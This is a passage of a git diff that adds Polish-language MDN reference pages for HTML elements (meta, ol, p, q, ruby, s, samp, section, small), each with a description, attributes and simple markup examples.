tag must not be present.</td> + </tr> + <tr> + <th>Dozwoleni rodzice</th> + <td><code><meta charset></code>, <code><meta http-equiv></code>: a {{HTMLElement("head")}} element. If the {{htmlattrxref("http-equiv", "meta")}} is not an encoding declaration, it can also be inside a {{HTMLElement("noscript")}} element, itself inside a {{HTMLElement("head")}} element.</td> + </tr> + <tr> + <th scope="row">Domniemane role ARIA</th> + <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a></td> + </tr> + <tr> + <th scope="row">Dozwolone role ARIA</th> + <td>No <code>role</code> permitted</td> + </tr> + <tr> + <th>Interfejs DOM</th> + <td>{{domxref("HTMLMetaElement")}}</td> + </tr> + </tbody> +</table> + +<p>The type of metadata provided by the <code>meta</code> element can be one of the following:</p> + +<ul> + <li>If the {{htmlattrxref("name", "meta")}} attribute is set, the <code>meta</code> element provides <em>document-level metadata</em>, applying to the whole page.</li> + <li>If the {{htmlattrxref("http-equiv", "meta")}} attribute is set, the <code>meta</code> element is a <em>pragma directive</em>, providing information equivalent to what can be given by a similarly-named HTTP header.</li> + <li>If the {{htmlattrxref("charset", "meta")}} attribute is set, the <code>meta</code> element is a <em>charset declaration</em>, giving the character encoding in which the document is encoded.</li> + <li>If the {{htmlattrxref("itemprop")}} attribute is set, the <code>meta</code> element provides <em>user-defined metadata</em>.</li> +</ul> + +<h2 id="Attributes">Attributes</h2> + +<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p> + +<div class="note"> +<p><strong>Note:</strong> the attribute {{htmlattrxref("name", "meta")}} has a specific meaning for the <code><meta></code> element, and the {{htmlattrxref("itemprop")}} attribute must not be set on the same <code><meta></code> element that has any existing {{htmlattrxref("name", "meta")}}, {{htmlattrxref("http-equiv", "meta")}} or {{htmlattrxref("charset", "meta")}} attributes.</p> +</div> + +<dl> + <dt>{{htmlattrdef("charset")}}</dt> + <dd>This attribute declares the document's character encoding. If the attribute is present, its value must be an ASCII case-insensitive match for the string "<code>utf-8</code>".</dd> + <dt>{{htmlattrdef("content")}}</dt> + <dd>This attribute contains the value for the {{htmlattrxref("http-equiv", "meta")}} or {{htmlattrxref("name", "meta")}} attribute, depending on which is used.</dd> + <dt>{{htmlattrdef("http-equiv")}}</dt> + <dd> + <p>Defines a pragma directive. The attribute is named <code><strong>http-equiv</strong>(alent)</code> because all the allowed values are names of particular HTTP headers:</p> + + <ul> + <li><code>content-security-policy</code> + + <p>Allows page authors to define a <a href="/en-US/docs/Web/Security/CSP/CSP_policy_directives">content policy</a> for the current page. Content policies mostly specify allowed server origins and script endpoints which help guard against cross-site scripting attacks.</p> + </li> + <li><code>content-type</code> + <p>If specified, the <code>content</code> attribute must have the value "<code>text/html; charset=utf-8</code>". <strong>Note: </strong> Can only be used in documents served with a <code>text/html</code> <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> — not in documents served with an XML MIME type.</p> + </li> + <li><code>default-style</code> + <p>Sets the name of the default <a href="/en-US/docs/Web/CSS">CSS style sheet</a> set.</p> + </li> + <li><code>x-ua-compatible</code> + <p>If specified, the <code>content</code> attribute must have the value "<code>IE=edge</code>". User agents are required to ignore this pragma.</p> + </li> + <li><code>refresh</code> + <div>This instruction specifies:</div> + + <ul> + <li>The number of seconds until the page should be reloaded - only if the {{htmlattrxref("content", "meta")}} attribute contains a positive integer.</li> + <li>The number of seconds until the page should redirect to another - only if the {{htmlattrxref("content", "meta")}} attribute contains a positive integer followed by the string '<code>;url=</code>', and a valid URL.</li> + </ul> + + <h5 id="Accessibility_concerns">Accessibility concerns</h5> + + <div>Pages set with a <code>refresh</code> value run the risk of having the time interval being too short. People navigating with the aid of assistive technology such as a screen reader may be unable to read through and understand the page's content before being automatically redirected. The abrupt, unannounced updating of the page content may also be disorienting for people experiencing low vision conditions.</div> + + <ul> + <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_—_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.1 explanations</a></li> + <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN Understanding WCAG, Guideline 3.1 explanations</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-required-behaviors.html">Understanding Success Criterion 2.2.1 | W3C Understanding WCAG 2.0</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-postponed.html">Understanding Success Criterion 2.2.4 | W3C Understanding WCAG 2.0</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/consistent-behavior-no-extreme-changes-context.html">Understanding Success Criterion 3.2.5 | W3C Understanding WCAG 2.0</a></li> + </ul> + </li> + </ul> + </dd> + <dt>{{htmlattrdef("name")}}</dt> + <dd> + <p>The <code>name</code> and <code>content</code> attributes can be used together to provide document metadata in terms of name-value pairs, with the <code>name</code> attribute giving the metadata name, and the <code>content</code> attribute giving the value.</p> + + <p>See <a href="/en-US/docs/Web/HTML/Element/meta/name">standard metadata names</a> for details about the set of standard metadata names defined in the HTML specification.</p> + </dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre class="brush: html notranslate"><meta charset="utf-8"> + +<!-- Redirect page after 3 seconds --> +<meta http-equiv="refresh" content="3;url=https://www.mozilla.org"> +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-meta-element', '<meta>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<div>{{Compat("html.elements.meta")}}</div> diff --git a/files/pl/web/html/element/ol/index.html b/files/pl/web/html/element/ol/index.html new file mode 100644 index 0000000000..7ce2455796 --- /dev/null +++ b/files/pl/web/html/element/ol/index.html @@ -0,0 +1,123 @@ +--- +title: ol +slug: Web/HTML/Element/ol +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/ol +--- +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Element <code><ol></code> (ordered list) jest używany do definiowania uporządkowanej lub numerowanej listy punktów. Styl numerowania pojawia się w różnych formach, włączając w to litery, cyfry rzymskie i normalne liczby. Poszczególne punkty w liście są określane przez elementy <a href="pl/HTML/Element/li">pozycja listy</a> (<a href="pl/HTML/Element/li"><li></a>), objęte elementem <code><ol></code>.</p> +<ul> + <li>Typ elementu: <a href="pl/HTML/Elementy_blokowe">blokowy</a></li> + <li>Dozwolona zawartość: <a href="pl/HTML/Element/li">li</a></li> +</ul> +<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3> +<dl> + <dt> + start {{ Deprecated_inline() }}</dt> + <dd> + Określa początkową wartość dla numerowania poszczególnych punktów listy. Chociaż typ porządkowania listy elementów może być cyframi rzymskimi, jak XXXI, lub literami, wartość <code>start</code> jest zawsze reprezentowana jako liczba. By rozpocząć numerowanie elementów od litery "C", użyj <code><ol type="A" start="3"></code>.</dd> +</dl> +<dl> + <dt> + type {{ Deprecated_inline() }}</dt> + <dd> + Wskazuje typ numerowania: <code>a</code> określa małe litery, <code>A</code> wskazuje duże litery, <code>i</code> określa małe cyfry rzymskie, <code>I</code> określa duże cyfry rzymskie, zaś <code>1</code> określa liczby. Atrybut <code>type</code> ustawiony w elemencie <code><ol></code> jest używany wewnątrz listy, chyba że atrybut <code>type</code> jest użyty w zamkniętym elemencie <a href="pl/HTML/Element/li"><li></a>. Ten atrybut jest wycofywany, użyj zamiast niego własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/list-style-type">list-style-type</a>.</dd> +</dl> +<dl> + <dt> + compact {{ Deprecated_inline() }}</dt> + <dd> + Wskazuje, że lista powinna być wyświetlona w zwartej formie. Interpretacja tego atrybutu zależy od programu użytkownika. Nie działa on we wszystkich wiodących przeglądarkach.</dd> +</dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<h4 id="Prosty_przyk.C5.82ad" name="Prosty_przyk.C5.82ad">Prosty przykład</h4> +<pre> <ol> + <li>pierwsza pozycja</li> + <li>druga pozycja</li> + <li>trzecia pozycja</li> + </ol> +</pre> +<p>Powyższy HTML daje w efekcie:</p> +<ol> + <li>pierwsza pozycja</li> + <li>druga pozycja</li> + <li>trzecia pozycja</li> +</ol> +<h4 id="U.C5.BCycie_w.C5.82asno.C5.9Bci_start" name="U.C5.BCycie_w.C5.82asno.C5.9Bci_start">Użycie własności <code>start</code></h4> +<pre> <ol start="7"> + <li>pierwsza pozycja</li> + <li>druga pozycja</li> + <li>trzecia pozycja</li> + </ol> +</pre> +<p>Powyższy HTML daje w efekcie:</p> +<ol start="7"> + <li>pierwsza pozycja</li> + <li>druga pozycja</li> + <li>trzecia pozycja</li> +</ol> +<h4 id="Zagnie.C5.BCd.C5.BCona_lista" name="Zagnie.C5.BCd.C5.BCona_lista">Zagnieżdżona lista</h4> +<pre> <ol> + <li>pierwsza pozycja</li> + <li>druga pozycja <!-- Spójrz, zamykający znacznik </li> nie jest tutaj umieszczony --> + <ol> + <li>druga pozycja pierwszy podpunkt</li> + <li>druga pozycja drugi podpunkt</li> + <li>druga pozycja trzeci podpunkt</li> + </ol> + </li> <!-- Tutaj jest zamykający znacznik </li> --> + <li>trzecia pozycja</li> + </ol> +</pre> +<p>Powyższy HTML daje w efekcie:</p> +<ol> + <li>pierwsza pozycja</li> + <li>druga pozycja + <ol> + <li>druga pozycja pierwszy podpunkt</li> + <li>druga pozycja drugi podpunkt</li> + <li>druga pozycja trzeci podpunkt</li> + </ol> + </li> + <li>trzecia pozycja</li> +</ol> +<h4 id="Zagnie.C5.BCd.C5.BCanie_.3Col.3E_oraz_.3Cul.3E" name="Zagnie.C5.BCd.C5.BCanie_.3Col.3E_oraz_.3Cul.3E">Zagnieżdżanie <ol> oraz <ul></h4> +<pre> <ol> + <li>pierwsza pozycja</li> + <li>druga pozycja <!-- Spójrz, zamykający znacznik </li> nie jest tutaj umieszczony --> + <ul> + <li>druga pozycja pierwszy podpunkt</li> + <li>druga pozycja drugi podpunkt</li> + <li>druga pozycja trzeci podpunkt</li> + </ul> + </li> <!-- Tutaj jest zamykający znacznik </li> --> + <li>trzecia pozycja</li> + </ol> +</pre> +<p>Powyższy HTML daje w efekcie:</p> +<ol> + <li>pierwsza pozycja</li> + <li>druga pozycja + <ul> + <li style="list-style-type: square;">druga pozycja pierwszy podpunkt</li> + <li style="list-style-type: square;">druga pozycja drugi podpunkt</li> + <li style="list-style-type: square;">druga pozycja trzeci podpunkt</li> + </ul> + </li> + <li>trzecia pozycja</li> +</ol> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>Możesz zagnieżdżać tak dużo list <code><ul></code> i <code><ol></code>, jak chcesz w dowolnej kolejności.</p> +<p>Aby zmienić wcięcie listy, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/margin">margin</a>.</p> +<p> </p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<ul> + <li><a href="pl/HTML/Element/li">Znacznik li (pozycja listy)</a></li> + <li><a href="pl/HTML/Element/ul">Znacznik ul (lista nieuporządkowana)</a></li> + <li><a href="pl/CSS/list-style">Własność CSS list-style</a></li> + <li><a href="pl/Liczniki_CSS">Liczniki CSS</a></li> +</ul> +<p>{{ HTML:Element_Navigation() }}</p> +<p>{{ languages( { "en": "en/HTML/Element/ol" } ) }}</p> diff --git a/files/pl/web/html/element/p/index.html b/files/pl/web/html/element/p/index.html new file mode 100644 index 0000000000..192c45ee88 --- /dev/null +++ b/files/pl/web/html/element/p/index.html @@ -0,0 +1,45 @@ +--- +title: p +slug: Web/HTML/Element/p +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/p +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Element <code><p></code> (Paragraph) oznacza akapit. Jest on najpowszechniej używanym elementem.</p> + +<ul> + <li>Typ elementu: <a href="pl/HTML/Elementy_blokowe">blokowy</a></li> + <li>Dozwolona zawartość: <a href="pl/HTML/Elementy_liniowe">liniowa</a></li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre> <p>To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. + To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.</p> + + <p>To jest drugi akapit tekstu. To jest drugi akapit tekstu. + To jest drugi akapit tekstu. To jest drugi akapit tekstu.</p> +</pre> + +<p>Powyższy HTML daje w efekcie:</p> + +<p>To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.</p> + +<p>To jest drugi akapit tekstu. To jest drugi akapit tekstu. To jest drugi akapit tekstu. To jest drugi akapit tekstu.</p> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>By zmienić przerwy między akapitami, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/margin">margin</a>. <strong>Nie</strong> wstawiaj pomiędzy nie pustych akapitów ani elementów <a href="pl/HTML/Element/br">przełamanie linii</a> (<a href="pl/HTML/Element/br"><code><br></code></a>).</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<ul> + <li><a href="pl/HTML/Element/hr">Element podział poziomy (<code><hr></code>)</a></li> + <li><a href="pl/HTML/Element/br">Element przełamanie linii (<code><br></code>)</a></li> +</ul> + +<p> </p> diff --git a/files/pl/web/html/element/q/index.html b/files/pl/web/html/element/q/index.html new file mode 100644 index 0000000000..9209d2c02f --- /dev/null +++ b/files/pl/web/html/element/q/index.html @@ -0,0 +1,36 @@ +--- +title: q +slug: Web/HTML/Element/q +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/q +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><q></code> (Quote) wskazuje, że zamknięty nim tekst jest krótkim liniowych cytatem. +</p> +<ul><li> Typ elementu: <a href="pl/HTML/Elementy_liniowe">liniowy</a> +</li><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_liniowe">liniowa</a> +</li></ul> +<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3> +<dl><dt>cite +</dt><dd>Wartością tego atrybutu jest URL, który określa źródłowy dokument lub wiadomość dla cytowanej informacji. Ten atrybut jest przeznaczony do wskazywania informacji objaśniającej kontekst lub odwołanie dla cytatu. +</dd></dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre> Everytime Kenny is killed, Stan will announce <q>Oh my God, you/they killed Kenny!</q>. +</pre> +<p>Powyższy HTML daje w efekcie: +</p><p><img alt="Image:HTML-q.png"> </p> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>Ten element jest przeznaczony dla krótkich cytatów, które nie wymagają podziału na akapity, dla długich cytatów użyj elementu <a href="pl/HTML/Element/blockquote"><code><blockquote></code></a>. +</p><p>Większość współczesnych przeglądarek, jak Mozilla Firefox, Opera i Safari, może dodać cudzysłowy wokół tekstu zamkniętego elementem <code><q></code>. +</p><p>Niektóre przeglądarki, jak Internet Explorer, mogą nie robić żadnej zmiany stylu dla cytatów, ale jest możliwe nadanie tego w regułach stylów. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Element/blockquote">Element <code><blockquote></code></a> +</li><li> <a href="pl/HTML/Element/cite">Element <code><cite></code></a> +</li></ul> +<p><br> +{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/q" } ) }} diff --git a/files/pl/web/html/element/ruby/index.html b/files/pl/web/html/element/ruby/index.html new file mode 100644 index 0000000000..287fa1683b --- /dev/null +++ b/files/pl/web/html/element/ruby/index.html @@ -0,0 +1,103 @@ +--- +title: <ruby> +slug: Web/HTML/Element/ruby +translation_of: Web/HTML/Element/ruby +--- +<div>{{HTMLRef}}</div> + +<p>Znacznik <strong>HTML <code><ruby></code></strong> reprezentuje adnotację ruby. Adnotacje te są w celu wyświetlania wymowy znaków używanych w Azji Wschodniej.</p> + +<div>{{EmbedInteractiveExample("pages/tabbed/ruby.html", "tabbed-shorter")}}</div> + +<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane na repozytorium GitHub. Jeżeli chciałbyś przyczynić się do interaktywnych przykładowych projektów, sklonuj, proszę <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam prośbę o dołączenie.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Kategorie zawartości</a></th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Treść przepływu</a>, treść wyrażona, treść oczywista.</td> + </tr> + <tr> + <th scope="row">Dozwolona treść</th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Treść wyrażona.</a></td> + </tr> + <tr> + <th scope="row">Pominięcie znacznika</th> + <td>{{no_tag_omission}}</td> + </tr> + <tr> + <th scope="row">Dozwoleni rodzice</th> + <td>Każdy element akceptujący <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">treść wyrażoną.</a></td> + </tr> + <tr> + <th scope="row">Dozwolone role ARIA</th> + <td>Każda.</td> + </tr> + <tr> + <th scope="row">Interfejs DOM</th> + <td>{{domxref("HTMLElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element zawiera tylko <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">globalne atrybuty</a>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Przykład_1_Znak">Przykład 1: Znak</h3> + +<pre class="brush:html"><ruby> + 漢 <rp>(</rp><rt>Kan</rt><rp>)</rp> + 字 <rp>(</rp><rt>ji</rt><rp>)</rp> +</ruby></pre> + +<h3 id="Przykład_2_Wyraz">Przykład 2: Wyraz</h3> + +<pre class="brush:html"><ruby> + 明日 <rp>(</rp><rt>Ashita</rt><rp>)</rp> +</ruby></pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Uwaga</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ruby-element', '<ruby>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-ruby-element', '<ruby>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + + + +<div class="hidden">Tabela kompatybilności na tej stronie jest wygenerowana z zbudowanych danych. Jeżeli chciałbyś przyczynić się do danych, sprawdź, proszę <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam prośbę o dołączenie.</div> + +<p>{{Compat("html.elements.ruby")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{HTMLElement("rt")}}</li> + <li>{{HTMLElement("rp")}}</li> + <li>{{HTMLElement("rb")}}</li> + <li>{{HTMLElement("rtc")}}</li> + <li>{{HTMLElement("rbc")}}</li> + <li>{{CSSxRef("text-transform")}}: full-size-kana</li> +</ul> diff --git a/files/pl/web/html/element/s/index.html b/files/pl/web/html/element/s/index.html new file mode 100644 index 0000000000..373204a4e5 --- /dev/null +++ b/files/pl/web/html/element/s/index.html @@ -0,0 +1,23 @@ +--- +title: s +slug: Web/HTML/Element/s +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/s +--- +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><s>...</s></code> renderuje przekreślenie tekstu na całej linii występowania tekstu, objętego znacznikami tego elementu. </p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre class="eval"><s>Specjalnie dziś: łosoś</s> WYPRZEDANE +</pre> +<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> +<p><s>Specjalnie dziś: łosoś</s> WYPRZEDANE +</p> +<h3 id="Notatka" name="Notatka"> Notatka </h3> +<p>Element ten renderuje tekst w identyczny sposób jak znacznik <a href="pl/HTML/Element/strike"><code><strike></code></a>. Żaden z nich nie jest bardziej akceptowalny niż drugi, więc można je zamieniać. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><a href="pl/HTML/Element/strike">Znacznik <code><strike></code></a> +</p><p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/s" } ) }} diff --git a/files/pl/web/html/element/samp/index.html b/files/pl/web/html/element/samp/index.html new file mode 100644 index 0000000000..af7405144a --- /dev/null +++ b/files/pl/web/html/element/samp/index.html @@ -0,0 +1,25 @@ +--- +title: samp +slug: Web/HTML/Element/samp +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/samp +--- +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Element <code><samp>...</samp></code> tworzy element liniowy wyświetlany domyślną dla przeglądarki czcionką o stałej szerokości (Lucida Console). Element jest przeznaczony do wskazywania przykładowego wyniku działania programu komputerowego.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval"> Zwykły tekst. <samp>To jest przykładowy tekst.</samp> Zwykły tekst. +</pre> +<h4 id="Rezultat" name="Rezultat">Rezultat</h4> +<p>Zwykły tekst. <samp>To jest przykładowy tekst.</samp> Zwykły tekst.</p> +<p>(Ten przykład nie ukazuje działania w związku w ograniczeniami w oprogramowaniu wiki, ale na na rzeczywistej stronie internetowej powinien działać dobrze.)</p> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>Reguła CSS może być definiowana dla selektora <code>samp</code>, by nadpisać domyślną czcionkę przeglądarki. Ustawienia nadane przez użytkownika mogą wziąć pierwszeństwo przed określonymi w CSS.</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<ul> + <li><a href="pl/HTML/Element/code">Element HTML <code>code</code></a></li> + <li>Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/struct/text.html#h-9.2.1">Phrase Elements</a></li> +</ul> +<p>{{ HTML:Element_Navigation() }}</p> +<p>{{ languages( { "en": "en/HTML/Element/samp" } ) }}</p> diff --git a/files/pl/web/html/element/section/index.html b/files/pl/web/html/element/section/index.html new file mode 100644 index 0000000000..4985fba6d6 --- /dev/null +++ b/files/pl/web/html/element/section/index.html @@ -0,0 +1,128 @@ +--- +title: <section> +slug: Web/HTML/Element/section +translation_of: Web/HTML/Element/section +--- +<p>{{HTMLRef}}</p> + +<p>Element <strong><code><section></code> </strong>stanowi samodzielną sekcję tworzącą dokument HTML, której nie można przedstawić za pomocą bardziej szczegółowej semantycznie sekcji. Element <section> zazwyczaj posiada nagłówek.</p> + +<p>Przykładowo, część nawigacyjna powinna być objęta elementem {{htmlelement("nav")}}, ale lista wyników wyszukiwania albo wyświetlana mapa i jej sterowanie nie mają dla siebie szczegółowego elementu, więc powinny zostać umieszczone w <code><section></code>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Sectioning_content">Sectioning content</a>, palpable content.</td> + </tr> + <tr> + <th scope="row">Permitted content</th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>.</td> + </tr> + <tr> + <th scope="row">Tag omission</th> + <td>{{no_tag_omission}}</td> + </tr> + <tr> + <th scope="row">Permitted parents</th> + <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>. Note that a {{HTMLElement("section")}} element must not be a descendant of an {{HTMLElement("address")}} element.</td> + </tr> + <tr> + <th scope="row">Permitted ARIA roles</th> + <td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td> + </tr> + <tr> + <th scope="row">DOM interface</th> + <td>{{domxref("HTMLElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Element zawiera tylko <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p> + +<h2 id="Użycie">Użycie</h2> + +<ul> + <li>Każdy element <code><section></code> powinien zazwyczaj zawierać nagłówek ({{HTMLElement('h1')}}-{{HTMLElement('h6')}}) jako element potomny <code><section></code>.</li> + <li>Jeśli jest konieczne oddzielić podgrupy w treści elementu {{HTMLElement("section")}}, używa się elementów{{HTMLElement("article")}}.</li> + <li>Nie używa się elementu {{HTMLElement("section")}} w celu stworzenia ogólnego kontenera; do tego służy element {{HTMLElement("div")}}, szczególnie nie robi się tego jesli ma to służyć tylko do nadania stylów. Praktyczną zasadą jest to, że wsytąpeinie elementu <section> powinną być logiczne w schemacie dokumentu.</li> +</ul> + +<h2 id="Przykład_1">Przykład 1</h2> + +<h3 id="Wcześniej">Wcześniej</h3> + +<pre class="brush: html"><div> + <h1>Heading</h1> + <p>Bunch of awesome content</p> +</div></pre> + +<h3 id="Teraz">Teraz</h3> + +<pre class="brush: html"><section> + <h1>Heading</h1> + <p>Bunch of awesome content</p> +</section> +</pre> + +<h2 id="Przykład_2">Przykład 2</h2> + +<h3 id="Wcześniej_2">Wcześniej</h3> + +<pre class="brush: html"><div> + <h2>Heading</h2> + <img src="bird.jpg" alt="bird"> +</div> +</pre> + +<h3 id="Teraz_2">Teraz</h3> + +<pre class="brush: html"><section> + <h2>Heading</h2> + <img src="bird.jpg" alt="bird"> +</section> +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comments</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'sections.html#the-section-element', '<section>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', 'sections.html#the-section-element', '<section>')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'sections.html#the-section-element', '<section>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + + + +<p>{{Compat("html.elements.section")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>Inne elementy dotyczące sekcji: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li> + <li><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document">Sections and outlines of an HTML5 document</a>.</li> +</ul> diff --git a/files/pl/web/html/element/small/index.html b/files/pl/web/html/element/small/index.html new file mode 100644 index 0000000000..8049addbb2 --- /dev/null +++ b/files/pl/web/html/element/small/index.html @@ -0,0 +1,26 @@ +--- +title: small +slug: Web/HTML/Element/small +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/small +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><small>...</small></code> powoduje, że tekst normalnego rozmiaru jest wyświetlany jako mały (rozmiar czcionki). </p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre class="eval"> <p> + + To jest pierwsze zdanie. <small>To zdanie jest napisane małymi literami.</small> + + </p> +</pre> +<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> <p> To jest pierwsze zdanie. <small>To zdanie jest napisane małymi literami.</small> </p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Element/big">Znacznik <code><big></code></a> +</li><li> <a href="pl/HTML/Element/font">Znacznik <code><font></code></a> +</li><li> <a href="pl/HTML/Element/style">Znacznik <code><style></code></a> +</li></ul> +<p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/small" } ) }} diff --git a/files/pl/web/html/element/span/index.html b/files/pl/web/html/element/span/index.html new file mode 100644 index 